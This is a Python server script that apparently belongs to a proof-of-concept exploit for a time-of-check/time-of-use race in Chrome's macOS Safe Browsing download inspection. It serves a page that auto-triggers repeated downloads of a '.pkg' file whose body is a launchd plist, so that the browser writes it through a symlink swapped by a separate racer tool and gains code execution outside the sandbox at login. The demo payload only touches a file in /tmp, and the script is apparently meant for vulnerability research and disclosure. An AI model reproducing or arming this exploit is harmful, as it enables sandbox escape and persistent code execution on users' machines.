#!/usr/bin/env python3
"""HTTP server for the BinaryFeatureExtractor TOCTOU POC (macOS).

Serves:
  /poc.html      — landing page that auto-triggers repeated downloads
  /payload.pkg   — non-archive download whose body is a launchd plist

The .pkg extension is on Safe Browsing's binary list and is NOT routed to the
ZIP/RAR/7Z/DMG inspectors, so on macOS FileAnalyzer falls through to
StartExtractFileFeatures() → BinaryFeatureExtractor::ExtractImageFeatures(),
which performs the vulnerable mkstemp-close → copyfile() sequence.

The payload body is the attacker-controlled bytes that the browser-process
copyfile() will write through the swapped symlink.
"""

import http.server
import os
import socketserver

PORT = 8080

# These are the exact bytes the browser will write through the symlink.
# A valid launchd plist that runs /usr/bin/touch /tmp/PWNED-by-chrome-toctou
# on next login → demonstrates out-of-sandbox code execution.
PAYLOAD = b"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>com.pwn.chrome-toctou</string>
  <key>ProgramArguments</key>
  <array>
    <string>/usr/bin/touch</string>
    <string>/tmp/PWNED-by-chrome-toctou</string>
  </array>
  <key>RunAtLoad</key>
  <true/>
</dict>
</plist>
"""

POC_HTML = b"""<!doctype html>
<meta charset="utf-8">
<title>ExtractImageFeatures TOCTOU trigger</title>
<h1>ExtractImageFeatures TOCTOU trigger</h1>
<p>
  Each click (or auto-loop) downloads <code>payload.pkg</code>. On macOS,
  Safe Browsing download-protection runs
  <code>BinaryFeatureExtractor::ExtractImageFeatures</code> on the file in the
  <b>browser process</b>, which mkstemp()s a temp file in
  <code>_CS_DARWIN_USER_TEMP_DIR</code>, closes the fd, then
  <code>copyfile()</code>s the download into it by path.
</p>
<p>
  Run <code>./racer</code> in another terminal first. Then click below (or let
  the loop run) until the racer reports a swap AND the symlink target contains
  the plist bytes.
</p>
<button id="go">Download once</button>
<label><input type="checkbox" id="loop"> auto-loop every 800ms</label>
<pre id="log"></pre>
<script>
let n = 0;
function trigger() {
  n++;
  const a = document.createElement('a');
  // Unique query string so the network stack treats each as a new download.
  a.href = '/payload.pkg?n=' + n + '&t=' + Date.now();
  a.download = 'payload.pkg';
  document.body.appendChild(a);
  a.click();
  a.remove();
  document.getElementById('log').textContent = 'triggered download #' + n;
}
document.getElementById('go').onclick = trigger;
let timer = null;
document.getElementById('loop').onchange = e => {
  if (e.target.checked) {
    timer = setInterval(trigger, 800);
  } else {
    clearInterval(timer);
    timer = null;
  }
};
</script>
"""


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        path = self.path.split('?', 1)[0]
        if path == '/poc.html' or path == '/':
            self.send_response(200)
            self.send_header('Content-Type', 'text/html; charset=utf-8')
            self.send_header('Content-Length', str(len(POC_HTML)))
            self.end_headers()
            self.wfile.write(POC_HTML)
        elif path == '/payload.pkg':
            self.send_response(200)
            # application/octet-stream + Content-Disposition: attachment forces
            # a download. .pkg is a Safe-Browsing "binary" extension that is
            # NOT an archive type, so on macOS it routes through
            # ExtractFileOrDmgFeatures(false) → ExtractImageFeatures.
            self.send_header('Content-Type', 'application/octet-stream')
            self.send_header('Content-Disposition',
                             'attachment; filename="payload.pkg"')
            self.send_header('Content-Length', str(len(PAYLOAD)))
            self.end_headers()
            self.wfile.write(PAYLOAD)
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, fmt, *args):
        pass  # quiet


if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(('127.0.0.1', PORT), Handler) as httpd:
        print(f'[server] listening on http://127.0.0.1:{PORT}/poc.html')
        httpd.serve_forever()
